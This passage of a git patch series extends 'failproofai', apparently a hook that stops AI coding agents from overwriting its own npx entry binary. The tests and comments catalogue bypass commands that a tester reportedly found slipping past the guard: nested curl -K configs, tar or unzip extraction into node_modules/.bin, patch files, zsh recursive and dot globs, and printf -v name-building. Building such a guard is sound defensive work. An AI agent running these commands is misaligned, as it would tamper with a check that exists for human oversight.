/<<<\s*("[^"]*"|'[^']*'|\S+)/.exec(simple); + const text = here === null ? undefined : expand(bareToken(here[1])); + const fields = text?.split(/[ \t\n]+/).filter((field) => field !== "") ?? []; + names.forEach((name, index) => { + if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(name)) return; + if (text === undefined) setVariable(name, []); + else setVariable(name, [index === names.length - 1 ? fields.slice(index).join(" ") : (fields[index] ?? "")]); + }); + if (names.length === 0) setVariable("REPLY", text === undefined ? [] : [text]); + } else if (head === "printf" && words[1] === "-v" && words[2] !== undefined) { + const format = expand(words[3] ?? ""); + const args = words.slice(4).map(expand); + let k = 0; + const value = format.replace(/%(%|[sbqd])/g, (_, c: string) => (c === "%" ? "%" : (args[k++] ?? ""))); + setVariable(words[2], /[%\\]/.test(value) ? [] : [value]); + } else if (head === "mapfile" || head === "readarray") { + const named = words.slice(1).filter((word, k, all) => !word.startsWith("-") && !/^-[A-Za-z]*[dnOsuC]$/.test(all[k - 1] ?? "")); + setVariable(named[named.length - 1] ?? "MAPFILE", []); + } else if (head === "unset") { + for (const word of words.slice(1)) if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(word)) setVariable(word, []); + } + }; + // A copy, move or link into a directory the walk cannot read puts each + // source there by its own name: `D=$(npm root)/.bin; cp stub/failproofai $D`. + const copiesIntoUnread = (list: string[]): boolean => { + const head = list.length > 0 ? commandBasename(list[0]) : ""; + if (!COPY_COMMANDS.has(head) && head !== "mv" && head !== "ln") return false; + const operands = list.slice(1).filter((arg) => !arg.startsWith("-")); + if (operands.length < 2 || !new RegExp(UNREAD_VALUE_RE.source).test(operands[operands.length - 1])) return false; + return operands.slice(0, -1).some((source) => couldBeEntryName(baseNameOf(source))); + }; + // What a sed script read from a file writes (`sed -n -f s.sed in`, the + // script holding `w hook`): the script as it is on disk, and one the walk + // cannot read (not there yet, standard input, or not a small regular file) + // is read as writing what is protected. + const sedScriptWrites = (args: string[]): boolean => + sedScriptFiles(args).some((file) => { + const text = instructionsIn(file); + return text === null || sedWriteTargets([text]).some(namesHere); + }); + // A file a command takes what it does from, as it is on disk where the + // shell stands; `null` for one the walk cannot read: standard input, one + // not there yet, or one that is not a small regular file. + const instructionsIn = (file: string): string | null => { + const path = file === "-" || file === "" ? undefined : absoluteFrom(at, file); + if (path === undefined) return null; + try { + const info = statSync(path.raw); + if (!info.isFile() || info.size > MAX_INSTRUCTION_FILE_BYTES) return null; + return readFileSync(path.raw, "utf8"); + } catch { + return null; + } + }; + // A patch applied from a file writes every file it names (`patch -p1 < + // stub.patch`, `patch -i stub.patch`, `git apply stub.patch`), each read + // with up to three leading directories stripped, as `-p` may, and from the + // directory `-d` / `--directory` names. One the walk cannot read, from a + // pipe or not there yet, is read as writing what is protected. + const patchFileWrites = (list: string[], simple: string): boolean => { + const head = list.length > 0 ? commandBasename(list[0]) : ""; + const args = list.slice(1); + const files: string[] = []; + const into: string[] = [""]; + if (head === "patch") { + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg === "-i" || arg === "--input") files.push(args[++k] ?? ""); + else if (arg.startsWith("--input=")) files.push(arg.slice(8)); + else if (/^-i./.test(arg)) files.push(arg.slice(2)); + else if (arg === "-d" || arg === "--directory") into.push(args[++k] ?? ""); + else if (arg.startsWith("--directory=")) into.push(arg.slice(12)); + else if (/^-d./.test(arg)) into.push(arg.slice(2)); + } + if (files.length === 0) { + const redirected = /(?:^|[^<])<(?![<(])\s*("[^"]*"|'[^']*'|[^\s<>|&;]+)/.exec(simple); + files.push(redirected === null ? "-" : bareToken(redirected[1])); + } + } else if (head === "git") { + const subcommand = gitSubcommandIndex(args); + if (subcommand < 0 || (args[subcommand] !== "apply" && args[subcommand] !== "am")) return false; + for (const arg of args.slice(subcommand + 1)) { + if (arg.startsWith("--directory=")) into.push(arg.slice(12)); + else if (!arg.startsWith("-")) files.push(arg); + } + if (files.length === 0) files.push("-"); + } else return false; + for (const file of files) { + const text = instructionsIn(file); + if (text === null) return true; + for (const target of patchTargets({ patch: text })) { + const parts = target.split("/"); + for (let strip = 0; strip <= Math.min(3, parts.length - 1); strip++) { + const rest = parts.slice(strip).join("/"); + if (into.some((dir) => namesHere(dir === "" ? rest : `${dir.replace(/\/+$/, "")}/${rest}`))) return true; + } + } + } + return false; + }; + // An archive extracted into npm's bin directory puts there names the line + // never spells: `tar -xf stub.tar -C bins`, `cd bins && unzip ../stub.zip`. + const extractsIntoBin = (list: string[]): boolean => { + const head = list.length > 0 ? commandBasename(list[0]) : ""; + const args = list.slice(1); + let into = "."; + let extracting = false; + if (head === "tar" || head === "gtar" || head === "bsdtar") { + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name.length >= 3 && "directory".startsWith(name)) into = eq === -1 ? (args[++k] ?? into) : arg.slice(eq + 1); + else if (name.length >= 3 && ("extract".startsWith(name) || name === "get")) extracting = true; + continue; + } + // A cluster (`-xzf`, or `xzf` first with no dash), its value letters + // taking the words after it in order. + if (!arg.startsWith("-") && k > 0) continue; + const letters = arg.replace(/^-/, ""); + if (!/^[A-Za-z]+$/.test(letters)) { + if (/^-C./.test(arg)) into = arg.slice(2); + continue; + } + if (letters.includes("x")) extracting = true; + for (const letter of letters) { + if (letter === "C") into = args[++k] ?? into; + else if ("fbHIKLNTVX".includes(letter)) k++; + } + } + } else if (head === "unzip") { + extracting = true; + const option = args.indexOf("-d"); + if (option !== -1) into = args[option + 1] ?? into; + } else if (head === "cpio") { + extracting = args.some((arg) => /^-[A-Za-z]*i/.test(arg) || arg === "--extract"); + } else if (head === "7z" || head === "7za" || head === "7zz") { + extracting = args[0] === "x" || args[0] === "e"; + const out = args.find((arg) => arg.startsWith("-o")); + if (out !== undefined) into = out.slice(2); + } + return extracting && isBinDir(into === "" ? "." : into); + }; + // curl reads options from `-K FILE` / `--config FILE` as if they were on + // the line, so they are read onto it; one it cannot read is refused. + const withCurlConfig = (list: string[]): string[] | null => { + if (list.length === 0 || commandBasename(list[0]) !== "curl") return list; + const out = [list[0]]; + for (let k = 1; k < list.length; k++) { + const arg = list[k]; + let file: string | undefined; + if (arg === "-K") file = list[++k] ?? ""; + else if (/^-K./.test(arg)) file = arg.slice(2); + else if (/^-[A-Za-z]+K$/.test(arg)) { + out.push(arg.slice(0, -1)); + file = list[++k] ?? ""; + } else if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name.length >= 4 && "config".startsWith(name)) file = eq === -1 ? (list[++k] ?? "") : arg.slice(eq + 1); + } + if (file === undefined) { + out.push(arg); + continue; + } + const text = instructionsIn(file); + if (text === null) return null; + out.push(...curlConfigArgs(text)); + } + return out; + }; + // A written word that still holds a value the walk cannot read — a + // substitution, or a variable set from what it cannot read or never set — + // could be anything there: `D=$(echo bins); cp stub $D/failproofai`. It + // lands on the entry or the state when what follows the last such value + // could, as if from anywhere npm installs (`$D/failproofai`), or when the + // name itself is unread and could be the entry, in a directory that is, or + // may be, npm's bin directory (`bins/$N`, `bins/${N}proofai`). + const unreadLands = (written: string): boolean => { + if (!/[$`]/.test(written)) return false; + const marked = written.replace(UNREAD_VALUE_RE, (piece) => (piece.startsWith("$((") ? "0" : "\u0000")); + if (!marked.includes("\u0000")) return false; + const tail = marked.slice(marked.lastIndexOf("\u0000") + 1).replace(/^[\\/]+/, ""); + if (tail !== "" && lostNamesState({ via: "", lost: tail })) return true; + const trimmed = marked.replace(/[\\/]+$/, ""); + const cut = trimmed.lastIndexOf("/"); + const component = trimmed.slice(cut + 1); + if (!component.includes("\u0000") || !couldBeEntryName(component.replaceAll("\u0000", "*"))) return false; + // A name that is wholly unread, in a directory that is too, is any path + // at all, as `> "$OUT"` is: only what the line spells can be judged. + const partial = component !== "\u0000"; + const directory = cut === -1 ? "." : trimmed.slice(0, cut) || "/"; + if (directory.includes("\u0000")) return partial; + return isBinDir(directory) || (partial && anywhereHere() && relativeWord(directory)); + }; // `named` is the operand as written, judged when the walk cannot follow it. // A `physical` move (`cd -P`, or any `cd` after `set -P`) goes where the path // really is, each link followed and each `..` taken after it: with `deep` a @@ -2866,17 +3695,32 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, return; } if (operand === "") return; - const target = operand ?? expand("$HOME"); + let target = operand ?? expand("$HOME"); + // A pattern is the directory it matches on disk, and this line's links + // (`ln -s ../node_modules/.bin out/b && cd out/b*`). Matching none, the + // `cd` fails and the shell stays; matching several, bash 4.4 and later + // fail and older ones take the first, which a move that may fail covers. + if (GLOB_METACHAR_RE.test(target) && !/[$`]/.test(target)) { + const matches = globPaths(at, target); + if (matches !== null && matches.length === 0) return; + target = matches?.[0] ?? "$(unknown)"; + } const to = whereAfter(at, target, named ?? target, physical); if (stackOnly) { dirStack.push(to); return; } if (head === "pushd") dirStack.push(at); - // Wherever else the shell may stand moves too, the same way. + // Wherever else the shell may stand moves too, the same way, and to each + // other value the operand may hold: `D=bins; (D=out); cd $D` stands in + // `bins` (found by hermes on FailproofAI/failproofai#1058). + const others = named === undefined ? [] : variantsOf(named); moveTo( to, - alts.map((where) => whereAfter(where, target, named ?? target, physical)), + [ + ...alts.map((where) => whereAfter(where, target, named ?? target, physical)), + ...others.flatMap((other) => [at, ...alts].map((where) => whereAfter(where, other, named ?? other, physical))), + ], startFull.startsWith("/") && to.full === startFull, ); }; @@ -3017,12 +3861,29 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, pending = []; } if (!pipeline.trim()) continue; + // `declare -n R=D` makes `R` a name for `D`, read through it. + const namerefs = new Map(); + for (const [, name, target] of pipeline.matchAll(NAMEREF_RE)) namerefs.set(name, target); + // A value is what the shell stores: its references read when it is + // assigned, each with every value it may hold, so `A=bins; (A=out); + // B=$A` gives `B` both (found by hermes on FailproofAI/failproofai#1058). for (const [, name, value] of pipeline.matchAll(ASSIGNMENT_RE)) { - const bare = value.replace(/^["']|["']$/g, ""); + let bare = value.replace(/^["']|["']$/g, ""); + // A substitution with a space in it arrives cut short (`$(echo`): its + // value is one the walk cannot read, whole. + if ((bare.match(/\$\(/g) ?? []).length > (bare.match(/\)/g) ?? []).length || (bare.match(/`/g) ?? []).length % 2 === 1) bare = "$(…)"; + const target = namerefs.get(name); + const now = target !== undefined ? `\${${target}}` : expand(bare); + const others = target !== undefined ? [] : variantsOf(bare); if (values.has(name)) assigned(name, values.get(name)!); - values.set(name, bare); - assigned(name, bare); + values.set(name, now); + assigned(name, now); + for (const other of others) assigned(name, other); } + // A loop's variable takes each value its list gives, and `read`, + // `printf -v` and `mapfile` set one too. + const loop = LOOP_VARIABLE_RE.exec(pipeline.trim()); + if (loop !== null) loopValues(loop[1], loop[2] ?? ""); const simpleCommands = splitUnquoted(pipeline, /\|/).filter((_, k) => k % 2 === 0); const reachesState = namesState(pipeline) || cwdInState || loopCarriesState; if (reachesState && LOOP_HEADER_RE.test(pipeline)) loopCarriesState = true; @@ -3037,6 +3898,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { const written = target.replace(/^["']|["']$/g, ""); if (namesHere(written) || namesHere(expand(written)) || expandEverywhere(written).some(namesHere)) return true; + if (sweepWritesEntry(written) || sweepWritesEntry(expand(written)) || unreadLands(expand(written))) return true; if (anywhereHere() && (plantsAnywhere(written) || plantsAnywhere(expand(written)))) return true; if (variantsOf(written).some((variant) => namesHere(variant) || (anywhereHere() && plantsAnywhere(variant)))) return true; } @@ -3046,7 +3908,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // substitution's are not a subshell: `cd $(npm root)/.bin` moves this shell. const shellText = withoutSubstitutions(simple.replace(/\\[()]|'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); parenDepth += (shellText.match(/\(/g) ?? []).length; - const words = commandWordList(simple); + const configured = withCurlConfig(commandWordList(simple)); + if (configured === null) return true; + const words = configured; const expanded = words.map(expand); const lists = expanded.some((word, k) => word !== words[k]) ? [words, expanded] : [words]; if (alts.length > 0 && words.some((word) => NAMES_PWD_RE.test(word))) { @@ -3099,6 +3963,11 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, }), ), ) || + lists.some((list) => writtenOperands(list).some(sweepWritesEntry)) || + writtenOperands(expanded).some(unreadLands) || + copiesIntoUnread(expanded) || + (head === "sed" && lists.some((list) => sedScriptWrites(list.slice(1)))) || + lists.some((list) => patchFileWrites(list, simple) || extractsIntoBin(list)) || (anywhereHere() && lists.some(writesEntryAnywhere)) ) { // Before the `reachesState` gate, because the point is that nothing on @@ -3148,6 +4017,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, else if ((words[i] === "-o" || words[i] === "+o") && words[i + 1] === "physical") physicalMoves = words[i] === "-o"; } } + // The builtins that set a variable without `=`. A pipeline's stages run + // in subshells, so only a command standing alone sets one this line keeps. + if (simpleCommands.length === 1) setByBuiltin(head, words, simple); parenDepth = Math.max(0, parenDepth - (shellText.match(/\)/g) ?? []).length); if (cdParenDepth !== null && parenDepth < cdParenDepth) { cwdInState = false; @@ -3230,6 +4102,12 @@ function relativeWord(word: string): boolean { } /** The entry's own name, a Windows shim of it, or a glob that could be either. */ +/** The names npx runs for `failproofai` in a bin directory, the Windows shims included. */ +const NPX_ENTRY_NAMES = ["failproofai", "failproofai.cmd", "failproofai.ps1", "failproofai.exe", "failproofai.bunx"]; + +/** A path that is npx's entry for `failproofai`. */ +const NPX_ENTRY_PATH_RE = /(?:^|[\\/])node_modules[\\/](?:\.?[\\/])*\.bin[\\/]failproofai(?:\.(?:cmd|ps1|exe|bunx))?$/i; + function couldBeEntryName(name: string): boolean { return /^failproofai(?:\.(?:cmd|ps1|exe|bunx))?$/i.test(name) || (GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)); } From b5b4a70cae5c9355b814ba9a386a95a40a09d2ee Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Wed, 25 Nov 2026 23:01:47 +0530 Subject: [PATCH 53/60] [hooks] Read shell globs as zsh expands them too (#1795) --- __tests__/hooks/guard-npx-local-bin.test.ts | 38 ++++++++ src/hooks/builtin-policies.ts | 101 ++++++++++++++++---- 2 files changed, 120 insertions(+), 19 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index c39289f62..7e5aa2ba4 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -1390,3 +1390,41 @@ describe("block-failproofai-commands — hermes's seventh round", () => { expect(await bashAs("codex", { command })).toBe("deny"); }); }); + +// Found end to end on macOS, whose default shell is zsh: Claude Code runs the +// agent's command there, `**/` recurses with no option, and `setopt globdots` +// lets `*` match `.bin`. +describe("block-failproofai-commands — globs read the way zsh expands them", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-zsh-glob-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "deep", "a", "b"), { recursive: true }); + mkdirSync(join(proj, "src", "lib"), { recursive: true }); + symlinkSync(join(proj, "node_modules", ".bin", "failproofai"), join(proj, "deep", "a", "b", "hook")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + "cp /tmp/stub.sh deep/**/hook", + "cp /tmp/stub.sh deep/***/hook", + "setopt globdots; cp /tmp/stub.sh node_modules/*/failproofai", + "setopt GLOB_DOTS; cp /tmp/stub.sh node_modules/*/failproofai", + "setopt extendedglob; cp /tmp/stub.sh deep/a/b/(#i)HOOK", + ])("denies %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each(["rm -f src/**/*.orig", "rm -rf **/__pycache__", "cp /tmp/stub.sh node_modules/*/notes"])( + "still allows %s", + async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }, + ); +}); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index fb7abcad8..280f3a581 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2130,6 +2130,56 @@ const MAX_OPTION_CLUSTER = 32; /** More paths than a glob in a directory component is expanded to on disk; past it, read as reaching the state. */ const GLOB_DISK_LIMIT = 4096; +/** Directories one `**` may walk through before the walk is given up and read as reaching the state. */ +const GLOB_RECURSIVE_DIR_LIMIT = 16_384; + +/** A zsh pattern flag group: `(#i)`, `(#l)`, `(#a2)`. */ +const ZSH_GLOB_FLAG_RE = /\(#[A-Za-z0-9]*\)/; + +/** The shell options that change what a glob matches, as far as a command turns them on. */ +interface GlobOptions { + /** `*` and `?` match a leading dot. */ + dotglob: boolean; + /** `**` matches any depth of directories. */ + globstar: boolean; + /** Matching ignores case. */ + nocaseglob: boolean; +} + +/** + * The glob options a command may turn on, in bash's spelling or zsh's. Claude + * Code runs the user's shell, and zsh is macOS's default: its `**` recurses + * with no option at all, where bash without globstar reads it as `*`, which + * matches less. zsh ignores case and underscores in option names. + * + * - dotglob: `shopt -s dotglob`, `GLOBIGNORE=`, `setopt globdots`, a `(D)` qualifier. + * - globstar: `shopt -s globstar`, `setopt globstarshort`, any `**` or `***` segment. + * - nocaseglob: `shopt -s nocaseglob`, `unsetopt caseglob`, the `(#i)` flag. + */ +function globOptionsOf(command: string): GlobOptions { + const names = command.toLowerCase().replace(/_/g, ""); + return { + dotglob: /\b(?:dotglob|globdots)\b|globignore=/.test(names) || /\*\([^()|\s]*D[^()|\s]*\)/.test(command), + globstar: /\bglobstar(?:short)?\b/.test(names) || /(?:^|[\s/"'=(])\*{2,3}(?=\/|$|[\s"';&|)])/.test(command), + nocaseglob: + /\bnocaseglob\b/.test(names) || /\bunsetopt\b[^;&|\n]*\bcaseglob\b/.test(names) || /\(#[a-z]*i[a-z]*\)/i.test(command), + }; +} + +/** Whether a path component is a pattern to the shell, zsh's flags included. */ +function isGlobPart(part: string): boolean { + return GLOB_METACHAR_RE.test(part) || ZSH_GLOB_FLAG_RE.test(part); +} + +/** A component's pattern as a regex, zsh's flags taken off; null when it cannot be read. */ +function globPartMatcher(part: string, options: GlobOptions): RegExp | null { + try { + return new RegExp(`^${compileGlobPattern(part.replace(new RegExp(ZSH_GLOB_FLAG_RE.source, "g"), ""))}$`, options.nocaseglob ? "i" : ""); + } catch { + return null; + } +} + /** How many of the words a brace expands to are each read on disk. */ const MAX_BRACE_WORDS_ON_DISK = 64; @@ -2541,6 +2591,7 @@ const OPERATED_REFERENCE_RE = /\$\{[!#]?[A-Za-z_][A-Za-z0-9_]*[^A-Za-z0-9_}]|\$\ * does, because nothing in the second command reaches the state. */ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, startUnknown = false): boolean { + const globOptions = globOptionsOf(command); // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head // and walks straight through. Bounded, because a body can contain another. @@ -2925,23 +2976,39 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const expandOnDisk = (from: string, pattern: string): string[] | null => { let paths = [from === "/" ? "" : from]; let reads = 0; + let walked = 0; for (const part of pattern.split("/")) { if (part === "" || part === ".") continue; - if (part === ".." || !GLOB_METACHAR_RE.test(part)) { + if (part === ".." || !isGlobPart(part)) { paths = paths.map((path) => `${path}/${part}`); continue; } - let matcher: RegExp; - try { - matcher = new RegExp(`^${compileGlobPattern(part)}$`); - } catch { - return null; + // zsh's `**/` (and bash's under globstar): this directory and every one + // below it, hidden ones under dotglob; `***/` follows links to them too. + if ((part === "**" || part === "***") && globOptions.globstar) { + const queue = [...paths]; + for (let i = 0; i < queue.length; i++) { + if (++walked > GLOB_RECURSIVE_DIR_LIMIT) return null; + for (const name of namesInDirectory(queue[i]).names) { + if (name.startsWith(".") && !globOptions.dotglob) continue; + const child = `${queue[i]}/${name}`; + try { + if ((part === "***" ? statSync(child) : lstatSync(child)).isDirectory()) queue.push(child); + } catch { + // Gone or unreadable: nothing below it. + } + } + } + paths = queue; + continue; } + const matcher = globPartMatcher(part, globOptions); + if (matcher === null) return null; const next: string[] = []; for (const path of paths) { if (++reads > GLOB_DISK_LIMIT / 4) return null; for (const name of namesInDirectory(path).names) { - if (name.startsWith(".") && !part.startsWith(".")) continue; + if (name.startsWith(".") && !part.startsWith(".") && !globOptions.dotglob) continue; if (!matcher.test(name)) continue; next.push(`${path}/${name}`); if (next.length > GLOB_DISK_LIMIT) return null; @@ -2974,16 +3041,12 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // plain names (found by hermes on FailproofAI/failproofai#1058). `null` // past GLOB_DISK_LIMIT links. const linksMatching = (directory: string, part: string): string[] | null => { - let matcher: RegExp; - try { - matcher = new RegExp(`^${compileGlobPattern(part)}$`); - } catch { - // A bracket bash cannot read either (`[r-p]`) matches nothing. - return []; - } + // A bracket bash cannot read either (`[r-p]`) matches nothing. + const matcher = globPartMatcher(part, globOptions); + if (matcher === null) return []; const found: string[] = []; for (const name of linkNamesIn(directory)) { - if (name.startsWith(".") && !part.startsWith(".")) continue; + if (name.startsWith(".") && !part.startsWith(".") && !globOptions.dotglob) continue; if (!matcher.test(name)) continue; found.push(`${directory}/${name}`); if (found.length > GLOB_DISK_LIMIT) return null; @@ -3000,12 +3063,12 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // FailproofAI/failproofai#1058). const patternLandsOnState = (word: string): boolean => { const parts = word.split("/"); - const first = parts.findIndex((part) => GLOB_METACHAR_RE.test(part)); + const first = parts.findIndex((part) => isGlobPart(part)); if (first === -1) return false; const prefix = first === 0 ? "" : parts.slice(0, first).join("/") || "/"; const pattern = parts.slice(first).join("/"); if (/[$`]/.test(prefix)) return false; - const inDirectory = parts.slice(first, -1).some((part) => GLOB_METACHAR_RE.test(part)); + const inDirectory = parts.slice(first, -1).some((part) => isGlobPart(part)); return [at, ...alts].some((base) => { const raw = prefix === "" @@ -3043,7 +3106,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const globLandsOnState = (written: string): boolean => { let patterns = 0; for (const word of expandBraces(written)) { - if (!GLOB_METACHAR_RE.test(word)) { + if (!isGlobPart(word)) { if (word !== written && landsOnState(word)) return true; continue; } @@ -3056,7 +3119,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, realPathsOf(written).some(({ plain, real }) => real === ELOOP ? true : typeof real !== "string" ? lostNamesState(real) : real !== plain && namesState(real), ) || - (GLOB_METACHAR_RE.test(written) && globLandsOnState(written)); + (isGlobPart(written) && globLandsOnState(written)); const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); // A glob that sweeps npm's bin directory reaches every name in it, which is // harmless for a delete (`rm -rf node_modules/.bin/*` stays allowed) and From 547ce19a1fdfe075a91300ea677a9880de13f27e Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Wed, 25 Nov 2026 23:14:17 +0530 Subject: [PATCH 54/60] [hooks] Give a glob after ** the directories it walked (#1795) --- __tests__/hooks/guard-npx-local-bin.test.ts | 5 +++++ src/hooks/builtin-policies.ts | 3 ++- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 7e5aa2ba4..5f90271d6 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -1421,6 +1421,11 @@ describe("block-failproofai-commands — globs read the way zsh expands them", ( expect(await bashIn(proj, command)).toBe("deny"); }); + it("still allows a recursive cleanup in a tree with more directories than one glob component reads", async () => { + for (let i = 0; i < 1100; i++) mkdirSync(join(proj, "src", "many", `d${i}`), { recursive: true }); + expect(await bashIn(proj, "rm -rf **/*.log")).toBe("allow"); + }); + it.each(["rm -f src/**/*.orig", "rm -rf **/__pycache__", "cp /tmp/stub.sh node_modules/*/notes"])( "still allows %s", async (command) => { diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 280f3a581..6d8a16a98 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -3006,7 +3006,8 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, if (matcher === null) return null; const next: string[] = []; for (const path of paths) { - if (++reads > GLOB_DISK_LIMIT / 4) return null; + // After a `**` the directories are the ones it walked, under its own limit. + if (++reads > (walked > 0 ? GLOB_RECURSIVE_DIR_LIMIT : GLOB_DISK_LIMIT / 4)) return null; for (const name of namesInDirectory(path).names) { if (name.startsWith(".") && !part.startsWith(".") && !globOptions.dotglob) continue; if (!matcher.test(name)) continue; From 3a341d81f96a3e811094d2acda14e8cad1d1a350 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Wed, 25 Nov 2026 23:23:03 +0530 Subject: [PATCH 55/60] [hooks] Harden option parsing for curl and tar, and two shell expansions (#1795) --- __tests__/hooks/guard-npx-local-bin.test.ts | 53 +++++++++ src/hooks/builtin-policies.ts | 119 ++++++++++++++------ 2 files changed, 136 insertions(+), 36 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 5f90271d6..b1bc0b129 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -1433,3 +1433,56 @@ describe("block-failproofai-commands — globs read the way zsh expands them", ( }, ); }); + +// hermes's eighth round on 52c478da: each wrote the entry for real with +// GNU tar, curl and bash while the guard allowed it. +describe("block-failproofai-commands — option clusters, nested configs and operators, round eight", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-round8-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "long"), { recursive: true }); + const entry = join(proj, "node_modules", ".bin", "failproofai"); + symlinkSync(entry, join(proj, "hook")); + symlinkSync(entry, join(proj, "long", "hook")); + symlinkSync(join(proj, "node_modules", ".bin"), join(proj, "bins")); + writeFileSync(join(proj, "inner.cfg"), "url = http://127.0.0.1/failproofai\noutput = hook\n"); + writeFileSync(join(proj, "outer.cfg"), "config = inner.cfg\n"); + writeFileSync(join(proj, "outer2.cfg"), "-K outer.cfg\n"); + writeFileSync(join(proj, "plain.cfg"), "url = http://127.0.0.1/x\noutput = notes.txt\n"); + writeFileSync(join(proj, "loop.cfg"), "config = loop.cfg\n"); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + ["a curl -K glued at the end of a cluster", "curl -sKinner.cfg"], + ["a curl -K glued with more flags before it", "curl -fsSLKinner.cfg"], + ["a config naming another", "curl -s -K outer.cfg"], + ["a config naming another as -K", "curl -s --config outer2.cfg"], + ["configs that name each other forever", "curl -s -K loop.cfg"], + ["tar's -C glued to its directory", "tar -xf stub.tar -Cbins"], + ["tar's -f glued to its archive", "tar -xfstub.tar -C bins"], + ["tar's -C glued after other flags", "tar -xvzf stub.tgz -Cbins"], + ["the longest suffix removed", "A=long/out/x; cp stub ${A%%/*}/hook"], + ["printf -v reusing its format", "printf -v D '%s' ho ok; cp stub $D"], + ])("denies %s", async (_label, command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "curl -s -K plain.cfg", + "curl -oK http://127.0.0.1/x", + "tar -xf stub.tar -Cout", + "tar -xfstub.tar", + "A=long/out/x; cp stub ${A%/*}/notes", + "printf -v D '%s' a b; cp stub out/$D", + ])("still allows %s", async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }); +}); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 6d8a16a98..69f819cc1 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1931,6 +1931,15 @@ const MAX_SED_TARGETS = 64; /** Larger than a file of instructions (a sed script, a patch, a curl config) is read; past it, it is read as writing what is protected. */ const MAX_INSTRUCTION_FILE_BYTES = 1024 * 1024; +/** curl's short options that take a value (curl 8 `--help all`); the rest of a cluster after one is that value. */ +const CURL_SHORT_VALUE_OPTIONS = "AbcCdDeEFHKmoPQrtTuUwxXyYz"; + +/** tar's short options other than `-C` that take a value (GNU tar and bsdtar). */ +const TAR_SHORT_VALUE_OPTIONS = "fbFgHIKLNTVX"; + +/** How many curl configs deep one may name the next before the command is refused. */ +const MAX_CURL_CONFIG_DEPTH = 8; + /** * The options a curl config file gives, as the words they would be on the * line: `output = hook`, `-o hook`, `--output-dir bins` and `remote-name`, @@ -2411,7 +2420,8 @@ function applyParameterOperator(value: string, op: string, arg: string): string const re = wholeGlob(arg); if (re === null) return null; const cuts = Array.from({ length: value.length + 1 }, (_, k) => k); - if (op === "##" || op === "%") cuts.reverse(); + // Shortest first; `##` and `%%` take the longest (found by hermes on FailproofAI/failproofai#1058). + if (op === "##" || op === "%%") cuts.reverse(); for (const k of cuts) { if (op.startsWith("#") ? re.test(value.slice(0, k)) : re.test(value.slice(value.length - k))) { return op.startsWith("#") ? value.slice(k) : value.slice(0, value.length - k); @@ -3446,9 +3456,16 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, } else if (head === "printf" && words[1] === "-v" && words[2] !== undefined) { const format = expand(words[3] ?? ""); const args = words.slice(4).map(expand); + // bash reuses the format until every argument is used (`printf -v D + // '%s' ho ok` is `hook`; found by hermes on FailproofAI/failproofai#1058). let k = 0; - const value = format.replace(/%(%|[sbqd])/g, (_, c: string) => (c === "%" ? "%" : (args[k++] ?? 